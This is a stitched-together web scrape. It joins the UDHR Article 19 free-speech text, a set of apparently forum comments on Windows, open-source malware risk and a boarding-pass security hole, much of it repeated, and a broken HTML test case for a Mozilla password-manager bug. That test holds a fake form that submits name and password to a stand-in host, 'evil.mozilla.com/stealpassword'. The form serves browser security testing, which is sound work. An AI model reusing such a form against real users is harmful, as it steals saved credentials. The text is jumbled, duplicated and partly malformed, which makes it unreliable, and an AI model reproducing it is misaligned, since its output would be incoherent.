In 1948 the United Nations General Assembly adopted the Universal Declaration of Human Rights (UDHR). Article 19 affirms the right to free speech:
Article 19. Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers.(1)
Members of the Commonwealth Parliament reaffirmed the principles of the Declaration during a sitting on 10 December 1998 to mark the 50th anniversary of the UDHR and pledged to give wholehearted support to the principles enshrined in the Declaration.(2)
Article 19 of the 1966 United Nations International Covenant on Civil and Political Rights (ICCPR) states that:
Everyone shall have the right to freedom of expression... (3)
If you read the microsoft blurb about it here you will find that although the server doesn't necessarily work on Vista, the client applications should be fine, with the server on a Win Server 200(0/3) running the SQL Server (Express). Also, they are working on the SP for express, so I can't imagine that you company would be in major trouble if they waited before upgrading the server.
How ever I did not that a customer of mine had ACT, installed on the server, but all the client workstations also had an instance of MSDE installed, never worked out why, I just assumed the installation guy (from ACT) didn't really know what he was doing.
As a software developer, there is a lot more to it then hacking the registry. Much of the reason that software isn't meant to be run on older versions of Windows is that a lot of the newer components where written for XP. To go back to an earlier version of windows you risk breaking your windows environment in order to run that software. Indeed one of my testers decided to install our program on a Windows 98 machine. The installed components caused Win98 to crash, unable to reboot and therefore requiring a rebuild. In this case we went away and decided we could achieve the same functionality via a different method. So we did the right thing and rebuild the software with the new methodology. We were early enough in the life cycle that it didn't cost us too much time. I don't believe it is always that simple, as the desired functionality may be too important to remove. The solution - don't support Windows version X. Risk, alienate Y% of your potential customer base.
Are you saying that people wearing black hats can't make distributable packages? And people who do not know better can't download from a non-approved source?
Isn't the point of standard keyboard shortcuts, to ensure that users are familiar with them. In the sense that if I hit F3 - I know I will get a search function?
Can you please specify the PC brand that has 50% problems. My experience over several manufacturers is that most brands work close to 100% of the time, some brands are complete crap. When you say 'iMac' you are being VERY specific about the hardware configuration. Statistically if one machine (of brand*) works well with the software then all, baring defective equipment, should work well.
True, but a suicide bomber could have exploited the security hole and software that the guy made public. That is where I see his actions as being a problem.
Zaphod, you are perfectly correct. But you assume that only approved modifications and approved releases are the only way to get access to OSS. My comments are based on the assumption that it is possible for the uninitiated to get tricked into downloading what they think is an official release.
Was there a scan of the letter he sent to TSA (or whoever) to say: Guys, on a hunch that your system may not be secure, I have created a program which generates realistic boarding pass , in my opinion. With your permission I would like to take this to the next level and supply several anonymous passengers with these "boarding passes". I will supply the names and times that these people will be attempting to board, so that you can have hard evidence that this flaw in the system can have serious ramifications to Homeland Security (tm). Details of the flaw will be provided upon request. I await your response...
Once again it assumed that everyone who might download a Linux distro runs in the same circles and could never click on a link which appears legit and end up getting hosed. I would wager that as the use of Linux increases, the opportunity for malware will increase. The most repeated safeguards; You can read the source code, and you can go to trusted websites to download. Joe sixpack does not necessarily know what constitutes a trusted website and has no clue how to read C code.
I think it needs to be said - that as far as source code is concerned, to most users it may as well be closed. Hence it will be just as effective as adding malware to closed source software.
Unless you are there for everyone you have ever turned on to Linux and Open Source, you may have actually given them enough rope to hang themselves with.
"John, you said OSS was safe, so I down loaded this upgrade I heard about. I installed it just like you showed me and now my system is hosed."
This is more likely to happen then, "John, you said it was OK to pirate windows, so I said what the #%$#^, I can't affort the stinking Microsoft tax. Now my computer is hosed"
Somebody get a doctor, this guy just shot his own foot.
If you implement the services et al better than Microsoft, then why would your clients need big support contracts?
How long do you think before the "We're paying how much per month? We haven't made a support call in 11 months, let's can this (support contract)." comments start flying around the accounts department.
The sub menus to which you refer are the names of the game developers. This is applied by default by the installation script created by the developers. You can choose to change the destination for the shortcut to games if you want. Obviously you are just making this up to, though I figure I would explain this for the newbies out there that somehow thought you were serious.
Btw can you explain to those not familiar with *nix, just what the heck is "ect", I kinda get that bin means binaries, while your at it what is "var"?
Firstly, offering to pay does not guarantee that he/she will be in a position to drop everything and take up your offer. There are opportunity costs. I for one would not give up my day job to take twice the pay to finish a feature over 1 or 2 weeks.
Secondly, you can contact most software companies and they will finish a feature. They would more than likely take payments to customize the system to include the feature. It probably wouldn't cost too much if they can see an ongoing benefit to their current and future customer base.
Remember: Microsoft is not the only proprietary software company.
I am using IE6; neither the info-svc proof nor the bugzilla proof where successful. Because? My fairly vanilla IE6 does not ask to save password on either page.
Version 6.0.2800.1106.xpsp1.020828-1920
Set to Medium security options.
From the Australian Parliamentary Library
And if you give me the URL to download torrent from and I use it to download the latest film, then you are legally responsible?
How ever I did not that a customer of mine had ACT, installed on the server, but all the client workstations also had an instance of MSDE installed, never worked out why, I just assumed the installation guy (from ACT) didn't really know what he was doing.
As a software developer, there is a lot more to it then hacking the registry.
Much of the reason that software isn't meant to be run on older versions of Windows is that a lot of the newer components where written for XP.
To go back to an earlier version of windows you risk breaking your windows environment in order to run that software.
Indeed one of my testers decided to install our program on a Windows 98 machine. The installed components caused Win98 to crash, unable to reboot and therefore requiring a rebuild.
In this case we went away and decided we could achieve the same functionality via a different method. So we did the right thing and rebuild the software with the new methodology.
We were early enough in the life cycle that it didn't cost us too much time.
I don't believe it is always that simple, as the desired functionality may be too important to remove. The solution - don't support Windows version X. Risk, alienate Y% of your potential customer base.
Side note, having only submitted parent and returned/refresh this thread - FF is 38.5 Mb - why the hell did it need 3.5Mb?
I have 40 process (winXP) running 10 @ 5 Mb and above. The worst offender(sic); Firefox @ 35Mb. Is that what they call irony?
Are you saying that people wearing black hats can't make distributable packages? And people who do not know better can't download from a non-approved source?
Isn't the point of standard keyboard shortcuts, to ensure that users are familiar with them. In the sense that if I hit F3 - I know I will get a search function?
So it isn't going to happen then?
Hate to say it; but as soon as anyone has anything nice to say about Microsoft, they are labeled a Fanboy - thus proving your point.
My experience over several manufacturers is that most brands work close to 100% of the time, some brands are complete crap.
When you say 'iMac' you are being VERY specific about the hardware configuration. Statistically if one machine (of brand*) works well with the software then all, baring defective equipment, should work well.
*Where configuration of hardware is consistant
True, but a suicide bomber could have exploited the security hole and software that the guy made public. That is where I see his actions as being a problem.
Zaphod, you are perfectly correct. But you assume that only approved modifications and approved releases are the only way to get access to OSS. My comments are based on the assumption that it is possible for the uninitiated to get tricked into downloading what they think is an official release.
With your permission I would like to take this to the next level and supply several anonymous passengers with these "boarding passes".
I will supply the names and times that these people will be attempting to board, so that you can have hard evidence that this flaw in the system can have serious ramifications to Homeland Security (tm).
Details of the flaw will be provided upon request. I await your response...
Would that have been to hard?
Large Earth collisions don't kill people. People kill people.
Um, Martian Liquid? Perhaps?
Once again it assumed that everyone who might download a Linux distro runs in the same circles and could never click on a link which appears legit and end up getting hosed.
I would wager that as the use of Linux increases, the opportunity for malware will increase.
The most repeated safeguards; You can read the source code, and you can go to trusted websites to download.
Joe sixpack does not necessarily know what constitutes a trusted website and has no clue how to read C code.
I think it needs to be said - that as far as source code is concerned, to most users it may as well be closed.
Hence it will be just as effective as adding malware to closed source software.
Unless you are there for everyone you have ever turned on to Linux and Open Source, you may have actually given them enough rope to hang themselves with.
"John, you said OSS was safe, so I down loaded this upgrade I heard about. I installed it just like you showed me and now my system is hosed."
This is more likely to happen then, "John, you said it was OK to pirate windows, so I said what the #%$#^, I can't affort the stinking Microsoft tax. Now my computer is hosed"
Heard on local radio station.
"You want to get rid of an annoying man (i.e. boyfriend)? - start talking about Jesus."
If you implement the services et al better than Microsoft, then why would your clients need big support contracts?
How long do you think before the "We're paying how much per month? We haven't made a support call in 11 months, let's can this (support contract)." comments start flying around the accounts department.
Btw can you explain to those not familiar with *nix, just what the heck is "ect", I kinda get that bin means binaries, while your at it what is "var"?
Secondly, you can contact most software companies and they will finish a feature. They would more than likely take payments to customize the system to include the feature. It probably wouldn't cost too much if they can see an ongoing benefit to their current and future customer base.
Remember: Microsoft is not the only proprietary software company.
I am using IE6; neither the info-svc proof nor the bugzilla proof where successful.
Because? My fairly vanilla IE6 does not ask to save password on either page.
Version 6.0.2800.1106.xpsp1.020828-1920
Set to Medium security options.
Actually the word is "Filthy".
Damn. I didn't expect that used a blockquote didn't leave HTML intact ... /> /> /> /> />
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>bug 360493</title>
</head>
<body>
<ol>
<li>Enter real name and real password and submit real form.</li>
<li>Choose Remember this password.</li>
<li>Submit fake form</li>
<li>Test fails if evil.mozilla.com gets real password</li>
</ol>
<div>
<form name="real" action="#" method="get">
<div>
real name <input name="name" type="text"
real password <input name="password" type="password"
<input type="submit" value="real form"/>
</div>
</form>
</div>
<div>
<form name="fake" action="http://evil.mozilla.com/stealpassword" method="get">
<div>
fake name <input name="name" type="text"
fake password <input name="password" type="password"
<input type="submit" value="fake form"
</div>
</form>
</div>
</body>
</html>